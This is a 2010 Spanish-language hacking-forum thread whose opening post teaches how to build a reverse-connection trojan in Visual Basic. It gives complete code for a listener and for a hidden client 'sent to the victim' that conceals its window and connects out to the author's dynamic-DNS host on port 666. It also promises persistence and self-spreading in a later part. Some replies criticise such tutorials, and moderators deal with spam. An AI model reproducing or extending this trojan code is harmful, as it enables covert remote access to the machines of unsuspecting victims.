Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: abrahametalero en 4 Abril 2010, 21:49 pm



Título: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: abrahametalero en 4 Abril 2010, 21:49 pm
Bueno pues ahora les vengo mostrando como hacer su propio tutorial para que ya no sean unos lammer'sillos :P...
Dejar de usar las tools de otras personas y hacer las nuestras...
Dar nuestro siguiente paso.
Pues lo que haremos sera hacer un troyano de conexion inversa... ¿Que quiere decir esto? que la computadora infectada se conecte a la nuestra ¿Porque? porque hasi es mucho mejor, si nosotros hacemos un troyano normal, nosotros tendriamos que saber el ip de la victima... y oviamente no vamos a andar preguntando ¿Cual es tu ip... para hackearte?, pues lo que haremos nosotros sera que su computadora se conecte a la nuestra atraves de nuestra ip, ¿Pero que pasa si cambiamos nuestra ip? pues si cambias tu ip es como si ya no tuvieras a la persona infectada, porque el troyano se seguiria conectando a la ip que nosotros le pusimos por eso usaremos un No-Ip si no saben como usar el No-Ip busquense un tutorial, yo no voy a andar hasiendo tutoriales de cosas que no vienen al caso xD!.

Comenzemos!

Bueno abirmos nuestro Visual Basic y le ponemos un diseño cualquiera, no importa como se vea, si no lo que importa es lo que hace(6), ponemos 4 label's... mi forma se ve algo como esto:
(http://img189.imageshack.us/img189/3489/42132282.jpg)
Son 4 labels... el primero dice "Estado:" y alado hay otro label para que muestre si esta conectado o desconectado el troyano, el otro label dice "IP:" para que en el otro label muestre cual es la ip de la victima.
Ahora vamos a agregar la parte mas importante de todo el progama.... el Winsock... para agregarlo agamos lo siguiente:
(http://img519.imageshack.us/img519/8610/85017448.jpg)
Vallamos a proyecto > Componentes
O Precionando Ctrl + T

Y nos saldra la siguiente ventana:
(http://img59.imageshack.us/img59/288/26966388.jpg)
Busquemos "Microsoft Winsock Control 6.0" y lo seleccionamos, ahora damos aceptar y ya tenemos el componente en nuestra barra de herramientas:
(http://img514.imageshack.us/img514/7429/24726644.jpg)
Ahora la ponemos en la forma, no importa en que parte ya que en tiempo de ejecucion no se vera.

En el Form Load Agregamos el Siguiente codigo:
Código:
Private Sub Form_Load()
On Error Resume Next
Winsock1.Close
Winsock1.LocalPort = 666
Winsock1.Listen
End Sub

Explicacion:

"On Error Resume Next" esta instruccion es por si el programa tiene algun probleca con alguna de las siguientes funciones, que no marque error y se cierre, lo que hace es que continua con la siguiente funcion.

"Winsock1.Close" Winsock1 es el nombre de nuestro winsock y la propiedad "Close" es para cerrar todas las conexiones abiertas, esto se hace por si hay alguna conexion establecida cerrarla para abrirla nuevamente.

"Winsock1.LocalPort = 666" la propiedad "LocalPort" asigna un puerto en especial para la conexion, 666 es el puerto que deseamos asignar, le podemos poner el que sea pero tiene que ser el mismo que le pongamos a la otra forma.

"Winsock1.Listen" Pone a la escucha nuestro winsock para que en cualquier momento nuestras victimas se puedan conectar a nosotros.

Ahora vamos a agregar el siguiente codigo:
Código:
Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Label4.Caption = Winsock1.RemoteHostIP
Label2.Caption = "Conectado"
End Sub

Explicacion:

"winsock1_ConnectionRequest" esto quiere decir que cuando nos manden la señal de que se quieren conectar a nuestra pc (Nuestra victima) entonces.....

"Winsock1.Close" Cierra las conexiones anteriores para conectar una nueva.

"Winsock1.Accept requestID" acepta la conexion de la pc infectada.

"Label4.Caption = Winsock1.RemoteHostIP" Le ponemos al label4 la ip de la victima.

"Label2.Caption = "Conectado"" Le ponemos al label2 "Conectado" para que sepamos cuando estamos conectados.

Agregamos tambien esto:
Código:
Private Sub Winsock1_Close()
Label2.Caption = "Desconectado"
Label4.Caption = " "
End Sub

Explicacion:

"Winsock1_Close" Esta funcion es para cuando se cierre la conexion...

"Label2.Caption = "Desconectado"" En el label2 ponemos "Desconectado" para saber cuando se desconecta la victima.

"Label4.Caption = " "" Para no tener ningun valor en donde es la ip.

Y pueden creerlo.... con esto ya tenemos la mitad del troyano... claro sin ninguna funcion... lo unico que hace nuestro troyano hasta ahora es tomar las conexiones que nos pidan... pero... cuales

conexiones vamos a tomar si de ningun lado nos la van a pedir??? agamos que nos la pida la victima..
Entonces agamos lo siguiente:

La Segunda Parte!
Antes que nada guarden el proyecto anterior y abran uno nuevo...
Este va a ser el que le enviaremos a la victima para que se conecte a nuestra ip.
Agregamos el componente WinSock nuevamente y lo agregamos a nuestra forma.
OJO... NUESTRA FORMA NO NECESITA UN DISEÑO CON ESTILO, LA VICTIMA NO LO VERA HASI QUE NO SE PREOCUPEN.

En el Form_Load Agregamos el siguiente codigo:
Código:
On Error Resume Next
Me.Hide
Winsock1.Close
Winsock1.Connect "TU NO-IP O TU IP", 666

Explicacion:

"On Error Resume Next" Si hay error segir corriendo el programa.

"Me.Hide" Para que la victima no vea nuestro programa, para que no se de cuenta de que esta infectado.

"Winsock1.Close" Cierra todas las conexiones anteriores.

"Winsock1.Connect "TU NO-IP O TU IP", 666" esta es la funcion que hace que la pc del infectado se conecte a nuestra ip, de preferencia haste un NO-IP para que no se pierda la conexion. En 666 es el puerto asignado en la forma anterior, le puedes poner el puerto que quieras pero debe estar igual en las 2 formas.

Y pueden Creerlo?? ya tenemos nuestro troyano.... CON ESTO LA PC DEL INFECTADO SE CONECTA A NUESTRA PC!!
Claro no tiene ninguna funcion nuestro troyano pero ya hisimos que se conectara a nosotros.

El codigo completo de la primera forma es:
Código:
Private Sub Form_Load()
On Error Resume Next
Winsock1.Close
Winsock1.LocalPort = 666
Winsock1.Listen
End Sub

Private Sub Winsock1_Close()
Label4.Caption = " "
Label2.Caption = " "
End Sub

Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Label4.Caption = Winsock1.RemoteHostIP
Label2.Caption = "Conectado"
End Sub

Y el codigo completo de la segunda forma es:
Código:
Private Sub Form_Load()
On Error Resume Next
Me.Hide
Winsock1.Close
Winsock1.Connect "abrahametalero.sytes.net", 666
Label1.Caption = "Conectando"
If Err Then Exit Sub
End Sub
(Por ahora esto es todo el codigo)
Agamos la prueba si funciona...
yo le puse que se conectara a mi no-ip.....
(http://img231.imageshack.us/img231/3887/37852643.jpg)
Ejecutemos nuestras 2 formas
Primero ejecutemos la nuestra... en la que recivimos la conexion.

Cuando abri la forma que pide la conexion... al instante se puso lo siguiente en la que la recive...
(http://img251.imageshack.us/img251/2330/86153035.jpg)
Esto quiere decir que si funciona nuestro troyano....

Despedida
Bueno por ahorita ya estoy un poco cansado...
hasi que para despues les digo como agregar muchas mas funciones, como hacer que se agrege al registro, se autocopie y se expanda por todos los discos duros....
Les prometo hacer otro tutorial de como ponerle funciones si comentan y votan :D:D.....

Espero averles explicado bien... si no les explique bien aganmelo saber para explicarles todo lo que necesiten.
Cualquier cosa comenten.
-------------------------------------------------------------
-------------------------------------------------------------
Greatz: IpKiss & w0rm  &  Maztor  &   LinuxFer
-------------------------------------------------------------
-------------------------------------------------------------


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: BlackZeroX en 4 Abril 2010, 22:05 pm
Y el codigo completo de la segunda forma es:
Código:
Private Sub Form_Load()
On Error Resume Next
Me.Hide
Winsock1.Close
Winsock1.Connect "abrahametalero.sytes.net", 666
Label1.Caption = "Conectando"
If Err Then Exit Sub
End Sub
(Por ahora esto es todo el codigo)
Agamos la prueba si funciona...
yo le puse que se conectara a mi no-ip.....
(http://r.i.elhacker.net/cache?url=http://img231.imageshack.us/img231/3887/37852643.jpg)

Esto causa Grasia... quiso Ocultar su DNS pero se nota en el Codigo que puso... de hecho tambien en la Imagen en el Log del DUC.

Dulces Luanas!¡.


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: abrahametalero en 4 Abril 2010, 22:18 pm
no hay problema uso proxy y ese no-ip nadamas lo use para el tutorial :P


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: ChAkAL500 en 4 Abril 2010, 22:30 pm
No hay que fijarse en esas cosas....
Muy buen trabajo abrahametalero yo te animo a que sigas. En cuanto tenga algo de tiempo lo probaré


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: abrahametalero en 4 Abril 2010, 23:05 pm
muchas gracias... ya estoy hasiendo la segunda parte... como en 1 hora lo acabo aproximandamente.... y lo subo....
Ese tipo de cometarios es los que me animan a seguir ;);)


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: Karcrack en 5 Abril 2010, 01:17 am
Te agradecemos el esfuerzo, pero yo soy muy pesimista respecto a esto de los tutoriales para hacer este tipo de herramientas (Troyanos, Keyloggers, Crypters...) en mi opinion solo atraen a gente que quiere aprender a hacer las cosas en 1/2 hora, y que cuando quieran hacer que """su""" troyano cierre un proceso estarán molestando en los foros porque no saben hacer nada sin un tutorial paso a paso...

En resumen, que atrae a ""programadores"" comodones, que lo preguntaran TODO...

Saludos, repito gracias por el esfuerzo ;)


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: seba123neo en 5 Abril 2010, 01:24 am
Te agradecemos el esfuerzo, pero yo soy muy pesimista respecto a esto de los tutoriales para hacer este tipo de herramientas (Troyanos, Keyloggers, Crypters...) en mi opinion solo atraen a gente que quiere aprender a hacer las cosas en 1/2 hora, y que cuando quieran hacer que """su""" troyano cierre un proceso estarán molestando en los foros porque no saben hacer nada sin un tutorial paso a paso...

En resumen, que atrae a ""programadores"" comodones, que lo preguntaran TODO...

Saludos, repito gracias por el esfuerzo ;)

mejor no lo podias haber dicho, vos sabes que me leiste la mente, iba a decir lo mismo, pero seguro yo iba a ser mas duro, viste como soy con estos temas... :xD


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: abrahametalero en 5 Abril 2010, 01:55 am
aaaa me caga la gente hasi ¬¬' no saben todo lo que me costo hacer el tutorial.... pero no se preocupen a este foro no vuelvo a subir mis tutoriales..... si quieren ver la segunda parte metanse a mi blog .... (Aquí no se spammea con blogs)


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: Darioxhcx en 5 Abril 2010, 01:57 am
aaaa me caga la gente hasi ¬¬' no saben todo lo que me costo hacer el tutorial.... pero no se preocupen a este foro no vuelvo a subir mis tutoriales..... si quieren ver la segunda parte metanse a mi blog .... abrahametalero.SPAM(137)
te lo dijeron de la mejor manera posible bro , no ahi por que enojarse xD
no estamos en elemo.net :P


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: abrahametalero en 5 Abril 2010, 02:36 am
para mañana subire la segunda parte en mi blog \/


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: skapunky en 5 Abril 2010, 03:10 am
Ya te he enviado por MP, si quieres compartir el tutorial hazlo mediante el foro, en caso contrario te agradecería que no hicieras spam. Te he modificado el enlace de tu post de arriba.


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: Karcrack en 5 Abril 2010, 11:20 am
Encima hace como que se ofende :laugh: :laugh: :laugh: :laugh:
Cualquier excusa es buena para subir una visita en tu blog, eh? ;-)

Creo que hice el comentario lo mejor que pude, sin ofenderte, pude haber dicho que como te atreves a hacer un tuturoal si no tienes ni idea de programar... Si te ha ofendido lo que dije imagínate una critica dura :laugh:

Por mi parte el tema esta zanjado... Simplemente hiciste un tuto para subirte las visitas al blog ;)


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: skapunky en 5 Abril 2010, 12:55 pm
Si...tema zanjado, el usuario me ha enviado un MP desafiandome a un banneo y el que busca encuentra.

Además se hace el ofendido cuando ese tutorial lo tiene escrito en su blog y va haciendo copy/paste en foros, así que no creo que le haya costado mucho trabajo ponerlo aquí. En fin, saludos a todos y aquí tienen otro ejemplo.


Título: Re: Crea tu propio troyano en VB (Conexion inversa) (Parte 1)
Publicado por: Lupin en 10 Abril 2010, 01:17 am

Bueno a decir verdad muchos llegamos a este foro curioseando por este tipo de temas...y la verdad uno llega a aprender bastante de programacion seria investigando alrededor de estos asuntos  ;D sobretodo en el foro, cosas que no se aprenden en el Instituto ni en el supermanual de programador de VB6.0  (apolillada pero aun la tengo).... ;D ;D